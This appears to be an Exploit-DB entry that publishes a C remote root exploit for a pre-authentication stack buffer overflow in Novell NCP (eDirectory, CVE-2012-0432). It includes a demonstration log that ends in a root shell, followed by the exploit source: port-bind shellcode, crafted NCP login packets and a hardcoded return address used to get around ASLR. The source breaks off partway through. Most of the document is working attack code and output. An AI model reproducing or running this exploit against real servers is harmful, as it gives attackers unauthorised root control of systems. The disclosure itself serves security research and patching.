Exploit-DB #24205
Description: Novell NCP - Remote Command Execution
Type: remote
Platform: linux
Date: 2013-01-18
Author: Gary Nilson

Exploit:
In the interest of full-disclosure, here is a remote exploit for the
vulnerability found by David Klein:
Demonstration
Novell NCP Pre-Auth Remote Stack Buffer Overflow
Connecting to host [127.0.0.1]...
Connected!
Sending message #1 (23 bytes)

<-- 44 6d 64 54 00 00 00 17 00 00 00 01 00 00 00 00 11 11 00 00 00 00 00

Waiting for response (16 bytes)...
Received 16 bytes (expecting 16)

--> 74 4e 63 50 00 00 00 10 33 33 00 0a 00 00 00 00

Response #1 is valid, continue exploitation
Received response connection number 0a
Sending payload (190 bytes)...

[...omitted...]

190 bytes sent
Attempting to connect to shell at port 5074...
Sleeping for 10 seconds...
Success!
pwd
/var/opt/novell/instance0/data/dib
id
uid=0(root) gid=0(root) groups=0(root)
exit
Connection closed


********** BEGIN EXPLOIT **********

/*
 * Novell NCP Pre-Auth Remote Root Exploit
 * Written by Gary Nilson 11-17-2013
 *
 * Overview (US-CERT/NIST CVES:CVE-2012-0432):
 *   Stack-based buffer overflow in the Novell NCP implementation in 
 *   NetIQ eDirectory 8.8.7.x before 8.8.7.2 allows remote attackers to have an
 *   unspecified impact via unknown vectors.
 *
 * Fix: Issues resolved in eDirectory 8.8 SP7 Patch 2 (20703.00)
 * 
 * Exploited Platform:
 *   Novell eDirectory 8.8 SP7 v20701.48 
 *   Distribution: Debian GNU/Linux 6.0.6 (squeeze)
 *   Linux Kernel: 2.6.32-5-686   
 *
 * Discovery: David Klein (david.r.klein at 676D61696)
 * 
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/ioctl.h>

/* 
 * Due to address space randomization on my platform I had to rely on the 
 * following in order to reliably execute the payload:
 *   - At the moment that %eip is overwritten, %esi happens to point to the payload 
 *     located on the heap (horray).
 *   - Address spaced mapped from 0x08087000-0x080a6000 (Data segment) contains
 *     the handy instruction jmp *%esi (located at 0x080a4697).
 */
#define NCP_PORT 524
#define SHELL_BIND_PORT 5074
#define RET_ADDRESS 0x080a4697
#define RET_PAYLOAD_OFFSET 65
#define PORT_PAYLOAD_OFFSET 24
#define PAYLOAD_SIZE 190
#define SHELL_CONNECT_DELAY 10

int main(int argc, char **argv){

  struct hostent *host;
  struct sockaddr_in target_addr;
  int sockfd;
  fd_set rdfdset, fdsave;;

  int len_in;
  int i;
  int payload_size;
  int ret_address;
  short shell_port;

  int msg1_buffsize;
  int msg2_headersize;
  int recv_buffsize;
  int shellcode_size;

  char iochar;
  char *msg2_buff;
  char *recv_buff;

  /* Shellcode (adapted):
   * s0t4ipv6@Shellcode.com.ar
   * x86 portbind a shell in port 5074
   */
  
  char port_bind[] = "\xeb\x04"                         /* jmp +4 bytes    */ 
                     "\x00\x00\x00\x00"                 /* eip             */
                     "\x31\xc0\x50\x40\x89\xc3\x50\x40" /* begin shellcode */
                     "\x50\x89\xe1\xb0\x66\xcd\x80\x31"
                     "\xd2\x52\x66\x68\x13\xd2\x43\x66"
                     "\x53\x89\xe1\x6a\x10\x51\x50\x89"
                     "\xe1\xb0\x66\xcd\x80\x40\x89\x44"
                     "\x24\x04\x43\x43\xb0\x66\xcd\x80"
                     "\x83\xc4\x0c\x52\x52\x43\xb0\x66"
                     "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
                     "\x80\x41\x80\xf9\x03\x75\xf6\x52"
                     "\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
                     "\x62\x69\x89\xe3\x52\x53\x89\xe1"
                     "\xb0\x0b\xcd\x80";

  
  char msg1[] = "\x44\x6d\x64\x54" /* NCP TCP id */
                "\x00\x00\x00\x17" 
                "\x00\x00\x00\x01\x00\x00\x00\x00"
                "\x11\x11\x00\x00\x00\x00\x00";

  char recv[] = "\x74\x4e\x63\x50" /* TCP RCVD id              */
                "\x00\x00\x00\x10" /* length ?                 */
                "\x33\x33"         /* service connection reply */
                "\x00"             /* sequence number          */
                "\x10"             /* connection number        */
                "\x00"             /* task number              */
                "\x00"             /* reserved                 */
                "\x00"             /* completion code          */
                "\x00";            /* ??                       */

  /* special thanks to the ncpfs source */
  char msg2_header[] = "\x44\x6d\x64\x54"  /* NCP TCP id                     */
                        "\x00\x00\x01\xa0" /* request_size + 16 + siglen + 6 */
                        "\x00\x00\x00\x01" /* version (1)                    */
                        "\x00\x00\x00\x05" /* (reply buffer size)            */
                                           /* signature would go here        */
                        "\x22\x22"         /* cmd                            */
                        "\x01"             /* conn->sequence                 */
                        "\xff"             /* conn->i.connection ???         */
                        "\x00"             /* task (1)                       */
                        "\x00"             /* conn->i.connection >> 8        */
                        "\x17"             /* Login Object FunctionCode (23) */
                        "\x00\xa7"         /* SubFuncStrucLen                */ 
                        "\x18"             /* SubFunctionCode                */
                        "\x90\x90"         /* object type                    */
                        "\x50";            /* ClientNameLen                  */
          

  if (argc != 2){
    fprintf(stderr, "Syntax error: usage: %s target\n", argv[0]);
    exit(EXIT_FAILURE);
  }

  msg1_buffsize = sizeof(msg1)/(sizeof(msg1[0]))-1;
  msg2_headersize = sizeof(msg2_header)/(sizeof(msg2_header[0]))-1;
  recv_buffsize = sizeof(recv)/s